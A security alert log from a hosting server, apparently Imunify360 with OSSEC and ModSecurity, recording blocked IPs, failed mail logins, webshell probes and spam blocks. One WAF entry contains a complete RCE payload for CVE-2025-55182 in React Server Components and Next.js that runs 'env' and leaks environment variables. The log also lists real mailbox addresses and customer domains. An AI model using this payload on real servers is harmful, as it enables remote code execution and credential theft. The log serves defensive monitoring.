rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.131
country_id: 298795
description:
Jan 13 04:23:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.9
country_id: 3175395
description:
Jan 13 04:23:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.64
country_id: 798544
description:
Jan 13 04:26:43 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.59.99.84
country_id: 6252001
description:
2026-01-13 04:27:13 dovecot_login authenticator failed for H=([127.0.0.1]) [172.59.99.84]:21421: 535 Incorrect authentication data (set_id=info@trident-water.com)


plugin: modsec
rule: 77093094
abuser: 34.173.235.63
country_id: 6252001
domain: acburn.com.my
description:


plugin: modsec
rule: 77093094
abuser: 105.155.20.73
country_id: 2542007
domain: www.mssa.org.my
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\r\n  \"then\": \"$1:__proto__:then\",\r\n  \"status\": \"resolved_model\",\r\n  \"reason\": -1,\r\n  \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\r\n  \"_response\": {\r\n    \"_prefix\": \"var res=process.mainModule.require('child_process').execSync('env',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\",\r\n    \"_chunks\": \"$Q2\",\r\n    \"_formData\": {\r\n      \"get\": \"$1:constructor:constructor\"\r\n    }\r\n  }\r\n}||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/plug/sms/img/clientele.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.35.156.17
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f008 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.19.88.78
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f008/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 216.218.206.66
country_id: 6252001
description:
Jan 13 04:35:09 sv3 pure-ftpd[3817327]: (?@216.218.206.66) [INFO] New connection from 216.218.206.66


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.66
country_id: 933860
description:
Jan 13 04:37:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/sliders/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 20.168.110.16
country_id: 6252001
domain: www.cabe.com.my
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Web Downloader/6.9||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-13 04:39:56 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:37283: 535 Incorrect authentication data (set_id=support@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.159
country_id: 3865483
description:
Jan 13 04:41:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 223.196.193.27
country_id: 1269750
description:
2026-01-13 04:41:45 H=([223.196.193.27]) [223.196.193.27]:6999 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.89
country_id: 3865483
description:
Jan 13 04:42:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 223.196.193.27
country_id: 1269750
description:
2026-01-13 04:42:27 H=([223.196.193.27]) [223.196.193.27]:7101 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 04:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58706: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 04:43:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58707: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 223.196.193.27
country_id: 1269750
description:
2026-01-13 04:43:49 H=([223.196.193.27]) [223.196.193.27]:7145 F=<p.h.meng@pftfood.com> rejected RCPT <p.h.meng@pftfood.com>: smtp auth required


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.19.216.146
country_id: 6252001
description:
37.19.216.146 - - [13/Jan/2026:04:44:15 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13199464&pdata=http%253A%252F%252Fwww.geminiflourmill.com%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768250652 HTTP/1.1" 302 0 www.geminiflourmill.com "http://www.geminiflourmill.com:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.19.216.146


plugin: cl_dos
name: DOS detection
abuser: 13.217.94.61
country_id: 6252001
description:
2026-01-13 04:44:11.299787764 +0800 +08 m=+235865.914352035 Denial of Service attack was discovered from 13.217.94.61, on port 80. Open connections: 429


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.237
country_id: 3865483
description:
Jan 13 04:48:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.131.176.158
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/copy/365/151218 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/plug/sms/img/img/news.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.15.38.128
country_id: 2464461
description:
2026-01-13 04:55:57 H=([197.15.38.128]) [197.15.38.128]:35380 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.15.38.128
country_id: 2464461
description:
2026-01-13 04:56:39 H=([197.15.38.128]) [197.15.38.128]:35718 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 8.210.123.17
country_id: 1819730
description:
2026-01-13  4:56:42 2495846 [Warning] Aborted connection 2495846 to db: 'unconnected' user: 'unauthenticated' host: '8.210.123.17' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.55.137.97
country_id: 3469034
description:
Jan 13 04:57:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.55.137.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 197.15.38.128
country_id: 2464461
description:
2026-01-13 04:57:54 H=([197.15.38.128]) [197.15.38.128]:35726 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.88.3
country_id: 1861060
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/images/award.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.117.50
country_id: 3175395
description:
Jan 13 04:59:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.117.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 04:59:25 H=([45.144.212.242]) [45.144.212.242]:55688 F=<lynnied@mhtc.net> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.172.99.56
country_id: 3996063
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/ramsey/uuid/src/DegradedUuid.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 05:05:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.140.17.52
country_id: 2017370
description:
2026-01-13  5:07:33 2496286 [Warning] Aborted connection 2496286 to db: 'unconnected' user: 'unauthenticated' host: '45.140.17.52' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.140.17.52
country_id: 2017370
description:
2026-01-13  5:08:08 2496315 [Warning] Aborted connection 2496315 to db: 'unconnected' user: 'unauthenticated' host: '45.140.17.52' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 05:09:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 05:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58730: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 05:11:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58731: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.230.184
country_id: 1814991
description:
Jan 13 05:12:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.230.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-01-13 05:12:59 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:41345: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.64.150
country_id: 1269750
description:
Jan 13 05:13:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.64.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.64.150
country_id: 1269750
description:
2026-01-13 05:13:52 dovecot_login authenticator failed for H=([125.23.229.42]) [182.78.64.150]:50244: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.0.228.11
country_id: 1269750
description:
Jan 13 05:14:06 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.0.228.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.0.228.11
country_id: 1269750
description:
2026-01-13 05:14:08 dovecot_login authenticator failed for H=([61.0.228.11]) [61.0.228.11]:53232: 535 Incorrect authentication data (set_id=mohamad.haznil)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 05:15:00 H=([45.144.212.242]) [45.144.212.242]:56046 F=<no_reply@admin.com> rejected RCPT <enquiry@symphony-led.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 05:19:39 H=([45.144.212.242]) [45.144.212.242]:53368 F=<no_reply@admin.com> rejected RCPT <info@mkmetal.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.39.138.138
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Question/Question.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/uploads/merlin-wp/main.log||User:sutsbcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.1.75
country_id: 1668284
description:
Jan 13 05:29:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.1.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.1.75
country_id: 1668284
description:
2026-01-13 05:29:34 dovecot_login authenticator failed for H=([101.13.1.75]) [101.13.1.75]:53852: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.0.249.208
country_id: 3469034
description:
Jan 13 05:30:00 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.0.249.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.54.114
country_id: 226074
description:
Jan 13 05:29:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.54.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.0.249.208
country_id: 3469034
description:
Jan 13 05:30:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.0.249.208 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.2
country_id: 226074
description:
Jan 13 05:32:23 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.3.93.58
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-34.192.3.93.58||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.13.110.39
country_id: 3865483
description:
Jan 13 05:34:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.13.110.39 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.161.188
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-35.171.236.161.188||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.43.111
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-36.171.236.43.111||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 27.73.90.93
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-36.27.73.90.93||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.245.100.121
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-36.171.245.100.121||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/commercial-office.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 05:39:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58764: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 05:39:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58765: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/keyword/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/keyword||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.160.255
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-41.171.236.160.255||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.0.181.151
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-42.117.0.181.151||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.189.0
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-42.171.236.189.0||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.91.254.244
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/img/img/demos/img/photos/news.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 141.95.54.132
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.224.202.226
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-45.171.224.202.226||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/login.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 116.96.48.83
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-49.116.96.48.83||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 8.217.170.12
country_id: 1819730
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/fontconfig/conf.avail/10-hinting-medium.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 05:53:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.183.171
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-55.171.236.183.171||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 05:59:38 H=([45.144.212.242]) [45.144.212.242]:50387 F=<no_reply@admin.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.27.75.238
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-59.23.27.75.238||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.0.11.242
country_id: 192950
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/?path=36&product_id=403&route=product/product HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.74.237.1
country_id: 1562822
description:
Jan 13 06:00:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.74.237.1 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
